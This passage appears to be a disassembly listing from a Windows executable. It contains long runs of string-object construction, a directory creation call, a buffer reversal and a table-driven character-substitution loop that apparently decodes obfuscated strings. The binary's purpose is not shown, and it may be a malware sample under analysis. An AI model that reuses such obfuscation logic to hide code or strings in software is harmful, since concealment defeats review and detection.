call fcn.0040a860
mov byte [esp + 0x6f38], 0x94
mov eax, 0x4114c4
lea ecx, [esp + 0x2b68]
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x2b84]
mov byte [esp + 0x6f38], 0x95
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x2ba0]
mov byte [esp + 0x6f38], 0x96
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x2bbc]
mov byte [esp + 0x6f38], 0x97
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2bd8]
mov byte [esp + 0x6f38], 0x98
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x2bf4]
mov byte [esp + 0x6f38], 0x99
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x2c10]
mov byte [esp + 0x6f38], 0x9a
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x2c2c]
mov byte [esp + 0x6f38], 0x9b
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x2c48]
mov byte [esp + 0x6f38], 0x9c
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2c64]
mov byte [esp + 0x6f38], 0x9d
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x2c80]
mov byte [esp + 0x6f38], 0x9e
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x2c9c]
mov byte [esp + 0x6f38], 0x9f
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x2cb8]
mov byte [esp + 0x6f38], 0xa0
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x2cd4]
mov byte [esp + 0x6f38], 0xa1
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x2cf0]
mov byte [esp + 0x6f38], 0xa2
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x2d0c]
mov byte [esp + 0x6f38], 0xa3
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x2d28]
mov byte [esp + 0x6f38], 0xa4
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x2d44]
mov byte [esp + 0x6f38], 0xa5
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x2d60]
mov byte [esp + 0x6f38], 0xa6
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x2d7c]
mov byte [esp + 0x6f38], 0xa7
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x2d98]
mov byte [esp + 0x6f38], 0xa8
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x2db4]
mov byte [esp + 0x6f38], 0xa9
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x2dd0]
mov byte [esp + 0x6f38], 0xaa
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x2dec]
mov byte [esp + 0x6f38], 0xab
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x2e08]
mov byte [esp + 0x6f38], 0xac
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x2e24]
mov byte [esp + 0x6f38], 0xad
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x2e40]
mov byte [esp + 0x6f38], 0xae
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x2e5c]
mov byte [esp + 0x6f38], 0xaf
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x2e78]
mov byte [esp + 0x6f38], 0xb0
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x2e94]
mov byte [esp + 0x6f38], 0xb1
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2eb0]
mov byte [esp + 0x6f38], 0xb2
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x2ecc]
mov byte [esp + 0x6f38], 0xb3
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x2ee8]
mov byte [esp + 0x6f38], 0xb4
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2f04]
mov byte [esp + 0x6f38], 0xb5
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x2f20]
mov byte [esp + 0x6f38], 0xb6
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2f3c]
mov byte [esp + 0x6f38], 0xb7
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x2f58]
mov byte [esp + 0x6f38], 0xb8
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x2f74]
mov byte [esp + 0x6f38], 0xb9
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2f90]
mov byte [esp + 0x6f38], 0xba
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2fac]
mov byte [esp + 0x6f38], 0xbb
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x2fc8]
mov byte [esp + 0x6f38], 0xbc
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x2fe4]
mov byte [esp + 0x6f38], 0xbd
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x3000]
mov byte [esp + 0x6f38], 0xbe
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x301c]
mov byte [esp + 0x6f38], 0xbf
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x3038]
mov byte [esp + 0x6f38], 0xc0
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x3054]
mov byte [esp + 0x6f38], 0xc1
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x3070]
mov byte [esp + 0x6f38], 0xc2
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x308c]
mov byte [esp + 0x6f38], 0xc3
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x30a8]
mov byte [esp + 0x6f38], 0xc4
call fcn.0040a860
mov byte [esp + 0x6f38], 0xc5
mov eax, 0x4114b0
lea ecx, [esp + 0x30c4]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x30e0]
mov byte [esp + 0x6f38], 0xc6
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x30fc]
mov byte [esp + 0x6f38], 0xc7
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3118]
mov byte [esp + 0x6f38], 0xc8
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x3134]
mov byte [esp + 0x6f38], 0xc9
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x3150]
mov byte [esp + 0x6f38], 0xca
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x316c]
mov byte [esp + 0x6f38], 0xcb
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3188]
mov byte [esp + 0x6f38], 0xcc
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x31a4]
mov byte [esp + 0x6f38], 0xcd
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x31c0]
mov byte [esp + 0x6f38], 0xce
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x31dc]
mov byte [esp + 0x6f38], 0xcf
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x31f8]
mov byte [esp + 0x6f38], 0xd0
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x3214]
mov byte [esp + 0x6f38], 0xd1
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x3230]
mov byte [esp + 0x6f38], 0xd2
call fcn.0040a860
mov eax, esi
lea ecx, [esp + 0x934]
mov byte [esp + 0x6f38], 0xd3
call fcn.0040a860
mov byte [esp + 0x6f38], 0xd4
lea esi, [esp + 0x29c4]
mov dword [esp + 0x14], 0x4e
lea esp, [esp]
push ebx
push esi
or eax, 0xffffffff
lea edi, [esp + 0x93c]
call fcn.0040bd80
add esi, 0x1c
dec dword [esp + 0x14]
jne 0x4077b0
cmp dword [esp + 0x948], 0x10
mov eax, dword [esp + 0x934]
jae 0x4077dd
mov eax, edi
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
mov edx, dword [0x4155c0]
mov eax, edx
add esp, 4
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4077f6
sub eax, esi
push ebx
push edx
lea esi, [eax - 3]
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401250
mov dword [esp + 0x1c], eax
add esp, 8
mov eax, 0x4114fc
lea ecx, [esp + 0xb80]
call fcn.0040a860
mov byte [esp + 0x6f38], 0xd5
cmp dword [0x4155bc], 0x1654
je 0x407855
mov edi, 3
mov eax, 0x411254
lea esi, [esp + 0xb80]
call fcn.0040bf10
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xd08]
call fcn.0040a860
mov esi, eax
mov byte [esp + 0x6f38], 0xd6
mov eax, dword [0x4155c4]
lea ecx, [esp + 0xcec]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xeac]
mov byte [esp + 0x6f38], 0xd7
call fcn.0040c8e0
mov edx, eax
lea eax, [esp + 0xb80]
lea ecx, [esp + 0xe04]
mov byte [esp + 0x6f38], 0xd8
call fcn.0040c940
mov esi, 0x10
mov byte [esp + 0x6f38], 0xd9
cmp dword [eax + 0x14], esi
jb 0x4078c9
mov eax, dword [eax]
push eax
lea eax, [esp + 0xa0]
push eax
call fcn.004010e0
add esp, 8
cmp dword [esp + 0xe18], esi
jb 0x4078f4
mov ecx, dword [esp + 0xe04]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [esp + 0xe18], edi
mov dword [esp + 0xe14], ebx
mov byte [esp + 0xe04], bl
cmp dword [esp + 0xec0], esi
jb 0x407928
mov edx, dword [esp + 0xeac]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xec0], edi
mov dword [esp + 0xebc], ebx
mov byte [esp + 0xeac], bl
cmp dword [esp + 0xd00], esi
jb 0x407957
mov eax, dword [esp + 0xcec]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xd00], edi
mov dword [esp + 0xcfc], ebx
mov byte [esp + 0xcec], bl
cmp dword [esp + 0xd1c], esi
jb 0x407986
mov ecx, dword [esp + 0xd08]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xd1c], 0xf
mov dword [esp + 0xd18], ebx
mov byte [esp + 0xd08], bl
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov byte [esp + 0x6f38], 0xdf
mov eax, dword [esp + 0xa0]
sub eax, dword [esp + 0x9c]
lea esi, [esp + 0x60]
call fcn.0040a900
mov ecx, dword [esp + 0x9c]
mov eax, dword [esp + 0xa0]
mov esi, dword [esp + 0x60]
mov edi, ecx
cmp ecx, eax
je 0x4079ed
mov dl, byte [eax - 1]
dec eax
mov byte [esi], dl
inc esi
cmp eax, edi
jne 0x4079e2
mov eax, 0x4114b0
lea ecx, [esp + 0x4aec]
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x4b08]
mov byte [esp + 0x6f38], 0xe0
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x4b24]
mov byte [esp + 0x6f38], 0xe1
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x4b40]
mov byte [esp + 0x6f38], 0xe2
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x4b5c]
mov byte [esp + 0x6f38], 0xe3
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x4b78]
mov byte [esp + 0x6f38], 0xe4
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x4b94]
mov byte [esp + 0x6f38], 0xe5
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x4bb0]
mov byte [esp + 0x6f38], 0xe6
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x4bcc]
mov byte [esp + 0x6f38], 0xe7
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x4be8]
mov byte [esp + 0x6f38], 0xe8
call fcn.0040a860
mov eax, str.:_____AGHIJKLMNOPQRTUVWXYZghjkmnopqsvwxz
lea ecx, [esp + 0x4c04]
mov byte [esp + 0x6f38], 0xe9
call fcn.0040a860
mov eax, 0x411504
lea ecx, [esp + 0x4c20]
mov byte [esp + 0x6f38], 0xea
call fcn.0040a860
mov eax, 0x411508
lea ecx, [esp + 0x4c3c]
mov byte [esp + 0x6f38], 0xeb
call fcn.0040a860
mov eax, 0x41150c
lea ecx, [esp + 0x4c58]
mov byte [esp + 0x6f38], 0xec
call fcn.0040a860
mov eax, 0x411510
lea ecx, [esp + 0x4c74]
mov byte [esp + 0x6f38], 0xed
call fcn.0040a860
mov eax, 0x411514
lea ecx, [esp + 0x4c90]
mov byte [esp + 0x6f38], 0xee
call fcn.0040a860
mov byte [esp + 0x6f38], 0xef
mov eax, 0x411518
lea ecx, [esp + 0x4cac]
call fcn.0040a860
mov eax, 0x41151c
lea ecx, [esp + 0x4cc8]
mov byte [esp + 0x6f38], 0xf0
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x4ce4]
mov byte [esp + 0x6f38], 0xf1
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x4d00]
mov byte [esp + 0x6f38], 0xf2
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x4d1c]
mov byte [esp + 0x6f38], 0xf3
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x4d38]
mov byte [esp + 0x6f38], 0xf4
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x4d54]
mov byte [esp + 0x6f38], 0xf5
call fcn.0040a860
mov eax, 0x411520
lea ecx, [esp + 0x4d70]
mov byte [esp + 0x6f38], 0xf6
call fcn.0040a860
mov eax, 0x411524
lea ecx, [esp + 0x4d8c]
mov byte [esp + 0x6f38], 0xf7
call fcn.0040a860
mov eax, 0x411528
lea ecx, [esp + 0x4da8]
mov byte [esp + 0x6f38], 0xf8
call fcn.0040a860
mov eax, 0x41152c
lea ecx, [esp + 0x4dc4]
mov byte [esp + 0x6f38], 0xf9
call fcn.0040a860
mov eax, 0x411530
lea ecx, [esp + 0x4de0]
mov byte [esp + 0x6f38], 0xfa
call fcn.0040a860
mov eax, 0x411534
lea ecx, [esp + 0x4dfc]
mov byte [esp + 0x6f38], 0xfb
call fcn.0040a860
mov eax, 0x411538
lea ecx, [esp + 0x4e18]
mov byte [esp + 0x6f38], 0xfc
call fcn.0040a860
mov eax, 0x41153c
lea ecx, [esp + 0x4e34]
mov byte [esp + 0x6f38], 0xfd
call fcn.0040a860
mov eax, 0x411540
lea ecx, [esp + 0x4e50]
mov byte [esp + 0x6f38], 0xfe
call fcn.0040a860
mov byte [esp + 0x6f38], 0xff
mov eax, 0x411544
lea ecx, [esp + 0x4e6c]
call fcn.0040a860
mov eax, 0x411548
lea ecx, [esp + 0x4e88]
mov dword [esp + 0x6f38], 0x300
call fcn.0040a860
mov eax, 0x41154c
lea ecx, [esp + 0x4ea4]
mov byte [esp + 0x6f38], 1
call fcn.0040a860
mov eax, str.SecurityFE10D_354698B27.afdbl
lea ecx, [esp + 0x4ec0]
mov byte [esp + 0x6f38], 2
call fcn.0040a860
mov eax, 0x411550
lea ecx, [esp + 0x4edc]
mov byte [esp + 0x6f38], 3
call fcn.0040a860
mov eax, 0x411554
lea ecx, [esp + 0x4ef8]
mov byte [esp + 0x6f38], 4
call fcn.0040a860
mov eax, 0x411558
lea ecx, [esp + 0x4f14]
mov byte [esp + 0x6f38], 5
call fcn.0040a860
mov eax, 0x41155c
lea ecx, [esp + 0x4f30]
mov byte [esp + 0x6f38], 6
call fcn.0040a860
mov eax, 0x411560
lea ecx, [esp + 0x4f4c]
mov byte [esp + 0x6f38], 7
call fcn.0040a860
mov eax, 0x411564
lea ecx, [esp + 0x4f68]
mov byte [esp + 0x6f38], 8
call fcn.0040a860
mov eax, 0x411568
lea ecx, [esp + 0x4f84]
mov byte [esp + 0x6f38], 9
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x4fa0]
mov byte [esp + 0x6f38], 0xa
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x4fbc]
mov byte [esp + 0x6f38], 0xb
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x4fd8]
mov byte [esp + 0x6f38], 0xc
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x4ff4]
mov byte [esp + 0x6f38], 0xd
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x5010]
mov byte [esp + 0x6f38], 0xe
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x502c]
mov byte [esp + 0x6f38], 0xf
call fcn.0040a860
mov eax, 0x41156c
lea ecx, [esp + 0x5048]
mov byte [esp + 0x6f38], 0x10
call fcn.0040a860
mov eax, 0x411570
lea ecx, [esp + 0x5064]
mov byte [esp + 0x6f38], 0x11
call fcn.0040a860
mov eax, 0x411490
lea ecx, [esp + 0x5080]
mov byte [esp + 0x6f38], 0x12
call fcn.0040a860
mov eax, 0x411574
lea ecx, [esp + 0x509c]
mov byte [esp + 0x6f38], 0x13
call fcn.0040a860
mov eax, 0x411578
lea ecx, [esp + 0x50b8]
mov byte [esp + 0x6f38], 0x14
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x50d4]
mov byte [esp + 0x6f38], 0x15
call fcn.0040a860
mov eax, 0x41157c
lea ecx, [esp + 0x50f0]
mov byte [esp + 0x6f38], 0x16
call fcn.0040a860
mov eax, 0x411580
lea ecx, [esp + 0x510c]
mov byte [esp + 0x6f38], 0x17
call fcn.0040a860
mov eax, 0x411584
lea ecx, [esp + 0x5128]
mov byte [esp + 0x6f38], 0x18
call fcn.0040a860
mov eax, 0x411588
lea ecx, [esp + 0x5144]
mov byte [esp + 0x6f38], 0x19
call fcn.0040a860
mov eax, 0x41158c
lea ecx, [esp + 0x5160]
mov byte [esp + 0x6f38], 0x1a
call fcn.0040a860
mov eax, 0x41148c
lea ecx, [esp + 0x517c]
mov byte [esp + 0x6f38], 0x1b
call fcn.0040a860
mov eax, 0x411590
lea ecx, [esp + 0x5198]
mov byte [esp + 0x6f38], 0x1c
call fcn.0040a860
mov eax, 0x411494
lea ecx, [esp + 0x51b4]
mov byte [esp + 0x6f38], 0x1d
call fcn.0040a860
mov eax, 0x411488
lea ecx, [esp + 0x51d0]
mov byte [esp + 0x6f38], 0x1e
call fcn.0040a860
mov eax, 0x411594
lea ecx, [esp + 0x51ec]
mov byte [esp + 0x6f38], 0x1f
call fcn.0040a860
mov eax, 0x411598
lea ecx, [esp + 0x5208]
mov byte [esp + 0x6f38], 0x20
call fcn.0040a860
mov eax, 0x41159c
lea ecx, [esp + 0x5224]
mov byte [esp + 0x6f38], 0x21
call fcn.0040a860
mov eax, 0x411498
lea ecx, [esp + 0x5240]
mov byte [esp + 0x6f38], 0x22
call fcn.0040a860
mov eax, 0x4115a0
lea ecx, [esp + 0x525c]
mov byte [esp + 0x6f38], 0x23
call fcn.0040a860
mov eax, 0x411508
lea ecx, [esp + 0x3ad4]
mov dword [esp + 0x6f38], 0x324
call fcn.0040a860
mov eax, 0x41158c
lea ecx, [esp + 0x3af0]
mov byte [esp + 0x6f38], 0x25
call fcn.0040a860
mov eax, 0x41148c
lea ecx, [esp + 0x3b0c]
mov byte [esp + 0x6f38], 0x26
call fcn.0040a860
mov eax, 0x411590
lea ecx, [esp + 0x3b28]
mov byte [esp + 0x6f38], 0x27
call fcn.0040a860
mov eax, 0x411494
lea ecx, [esp + 0x3b44]
mov byte [esp + 0x6f38], 0x28
call fcn.0040a860
mov eax, 0x411488
lea ecx, [esp + 0x3b60]
mov byte [esp + 0x6f38], 0x29
call fcn.0040a860
mov eax, 0x411594
lea ecx, [esp + 0x3b7c]
mov byte [esp + 0x6f38], 0x2a
call fcn.0040a860
mov eax, 0x411598
lea ecx, [esp + 0x3b98]
mov byte [esp + 0x6f38], 0x2b
call fcn.0040a860
mov eax, 0x41159c
lea ecx, [esp + 0x3bb4]
mov byte [esp + 0x6f38], 0x2c
call fcn.0040a860
mov eax, 0x411498
lea ecx, [esp + 0x3bd0]
mov byte [esp + 0x6f38], 0x2d
call fcn.0040a860
mov eax, 0x4115a0
lea ecx, [esp + 0x3bec]
mov byte [esp + 0x6f38], 0x2e
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x3c08]
mov byte [esp + 0x6f38], 0x2f
call fcn.0040a860
mov byte [esp + 0x6f38], 0x30
mov eax, 0x4114d8
lea ecx, [esp + 0x3c24]
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x3c40]
mov byte [esp + 0x6f38], 0x31
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x3c5c]
mov byte [esp + 0x6f38], 0x32
call fcn.0040a860
mov eax, 0x411510
lea ecx, [esp + 0x3c78]
mov byte [esp + 0x6f38], 0x33
call fcn.0040a860
mov eax, 0x411514
lea ecx, [esp + 0x3c94]
mov byte [esp + 0x6f38], 0x34
call fcn.0040a860
mov eax, 0x411518
lea ecx, [esp + 0x3cb0]
mov byte [esp + 0x6f38], 0x35
call fcn.0040a860
mov eax, 0x41151c
lea ecx, [esp + 0x3ccc]
mov byte [esp + 0x6f38], 0x36
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x3ce8]
mov byte [esp + 0x6f38], 0x37
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x3d04]
mov byte [esp + 0x6f38], 0x38
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x3d20]
mov byte [esp + 0x6f38], 0x39
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x3d3c]
mov byte [esp + 0x6f38], 0x3a
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x3d58]
mov byte [esp + 0x6f38], 0x3b
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x3d74]
mov byte [esp + 0x6f38], 0x3c
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x3d90]
mov byte [esp + 0x6f38], 0x3d
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x3dac]
mov byte [esp + 0x6f38], 0x3e
call fcn.0040a860
mov eax, str.:_____AGHIJKLMNOPQRTUVWXYZghjkmnopqsvwxz
lea ecx, [esp + 0x3dc8]
mov byte [esp + 0x6f38], 0x3f
call fcn.0040a860
mov byte [esp + 0x6f38], 0x40
mov eax, 0x411504
lea ecx, [esp + 0x3de4]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3e00]
mov byte [esp + 0x6f38], 0x41
call fcn.0040a860
mov eax, 0x41150c
lea ecx, [esp + 0x3e1c]
mov byte [esp + 0x6f38], 0x42
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x3e38]
mov byte [esp + 0x6f38], 0x43
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x3e54]
mov byte [esp + 0x6f38], 0x44
call fcn.0040a860
mov eax, 0x411520
lea ecx, [esp + 0x3e70]
mov byte [esp + 0x6f38], 0x45
call fcn.0040a860
mov eax, 0x411524
lea ecx, [esp + 0x3e8c]
mov byte [esp + 0x6f38], 0x46
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x3ea8]
mov byte [esp + 0x6f38], 0x47
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x3ec4]
mov byte [esp + 0x6f38], 0x48
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x3ee0]
mov byte [esp + 0x6f38], 0x49
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x3efc]
mov byte [esp + 0x6f38], 0x4a
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x3f18]
mov byte [esp + 0x6f38], 0x4b
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x3f34]
mov byte [esp + 0x6f38], 0x4c
call fcn.0040a860
mov eax, 0x41156c
lea ecx, [esp + 0x3f50]
mov byte [esp + 0x6f38], 0x4d
call fcn.0040a860
mov eax, 0x411570
lea ecx, [esp + 0x3f6c]
mov byte [esp + 0x6f38], 0x4e
call fcn.0040a860
mov eax, 0x411490
lea ecx, [esp + 0x3f88]
mov byte [esp + 0x6f38], 0x4f
call fcn.0040a860
mov byte [esp + 0x6f38], 0x50
mov eax, 0x411528
lea ecx, [esp + 0x3fa4]
call fcn.0040a860
mov eax, 0x41152c
lea ecx, [esp + 0x3fc0]
mov byte [esp + 0x6f38], 0x51
call fcn.0040a860
mov eax, 0x411530
lea ecx, [esp + 0x3fdc]
mov byte [esp + 0x6f38], 0x52
call fcn.0040a860
mov eax, 0x411534
lea ecx, [esp + 0x3ff8]
mov byte [esp + 0x6f38], 0x53
call fcn.0040a860
mov eax, 0x411538
lea ecx, [esp + 0x4014]
mov byte [esp + 0x6f38], 0x54
call fcn.0040a860
mov eax, 0x41153c
lea ecx, [esp + 0x4030]
mov byte [esp + 0x6f38], 0x55
call fcn.0040a860
mov eax, 0x411540
lea ecx, [esp + 0x404c]
mov byte [esp + 0x6f38], 0x56
call fcn.0040a860
mov eax, 0x411544
lea ecx, [esp + 0x4068]
mov byte [esp + 0x6f38], 0x57
call fcn.0040a860
mov eax, 0x411548
lea ecx, [esp + 0x4084]
mov byte [esp + 0x6f38], 0x58
call fcn.0040a860
mov eax, str.SecurityFE10D_354698B27.afdbl
lea ecx, [esp + 0x40a0]
mov byte [esp + 0x6f38], 0x59
call fcn.0040a860
mov eax, 0x411584
lea ecx, [esp + 0x40bc]
mov byte [esp + 0x6f38], 0x5a
call fcn.0040a860
mov eax, 0x411550
lea ecx, [esp + 0x40d8]
mov byte [esp + 0x6f38], 0x5b
call fcn.0040a860
mov eax, 0x411554
lea ecx, [esp + 0x40f4]
mov byte [esp + 0x6f38], 0x5c
call fcn.0040a860
mov eax, 0x411558
lea ecx, [esp + 0x4110]
mov byte [esp + 0x6f38], 0x5d
call fcn.0040a860
mov eax, 0x41155c
lea ecx, [esp + 0x412c]
mov byte [esp + 0x6f38], 0x5e
call fcn.0040a860
mov eax, 0x411560
lea ecx, [esp + 0x4148]
mov byte [esp + 0x6f38], 0x5f
call fcn.0040a860
mov eax, 0x411564
lea ecx, [esp + 0x4164]
mov byte [esp + 0x6f38], 0x60
call fcn.0040a860
mov eax, 0x411568
lea ecx, [esp + 0x4180]
mov byte [esp + 0x6f38], 0x61
call fcn.0040a860
mov eax, 0x41157c
lea ecx, [esp + 0x419c]
mov byte [esp + 0x6f38], 0x62
call fcn.0040a860
mov eax, 0x411578
lea ecx, [esp + 0x41b8]
mov byte [esp + 0x6f38], 0x63
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x41d4]
mov byte [esp + 0x6f38], 0x64
call fcn.0040a860
mov eax, 0x411574
lea ecx, [esp + 0x41f0]
mov byte [esp + 0x6f38], 0x65
call fcn.0040a860
mov eax, 0x411580
lea ecx, [esp + 0x420c]
mov byte [esp + 0x6f38], 0x66
call fcn.0040a860
mov eax, 0x41154c
lea ecx, [esp + 0x4228]
mov byte [esp + 0x6f38], 0x67
call fcn.0040a860
mov eax, 0x411588
lea ecx, [esp + 0x4244]
mov byte [esp + 0x6f38], 0x68
call fcn.0040a860
mov eax, dword [esp + 0x60]
cmp eax, dword [esp + 0x64]
je 0x4087d6
nop
mov dl, byte [eax]
cmp dl, 0x2f
jle 0x40877c
cmp dl, 0x5b
jl 0x408786
cmp dl, 0x60
jle 0x4087cf
cmp dl, 0x7b
jge 0x4087cf
xor edi, edi
lea esi, [esp + 0x3ad4]
nop
cmp dword [esi + 0x14], 0x10
jb 0x40879a
mov ecx, dword [esi]
jmp 0x40879c
mov ecx, esi
cmp dl, byte [ecx]
je 0x4087ab
inc edi
add esi, 0x1c
cmp edi, 0x45
jl 0x408790
jmp 0x4087cf
lea ecx, [edi*8]
sub ecx, edi
cmp dword [esp + ecx*4 + 0x4b00], 0x10
lea ecx, [esp + ecx*4 + 0x4aec]
jb 0x4087c9
mov esi, dword [ecx]
jmp 0x4087cb
mov esi, ecx
mov cl, byte [esi]
mov byte [eax], cl
inc eax
cmp eax, dword [esp + 0x64]
jne 0x408770
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov byte [esp + 0x6f38], 0x6a
mov eax, dword [esp + 0xa0]
sub eax, dword [esp + 0x9c]
lea esi, [esp + 0x28]
call fcn.0040a900
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x28]
sub eax, ecx
push eax
push ecx
push edx
call dword [sym.imp.MSVCR100.dll_memmove]
mov esi, dword [esp + 0x34]
add esp, 0xc
mov edi, 0x10
cmp esi, dword [esp + 0x2c]
je 0x40889a
lea ebx, [ebx]
cmp byte [esi], bl
jne 0x408893
mov eax, 0x41124c
lea ecx, [esp + 0xabc]
call fcn.0040a860
mov eax, dword [esp + 0xabc]
cmp dword [esp + 0xad0], edi
jae 0x40885c
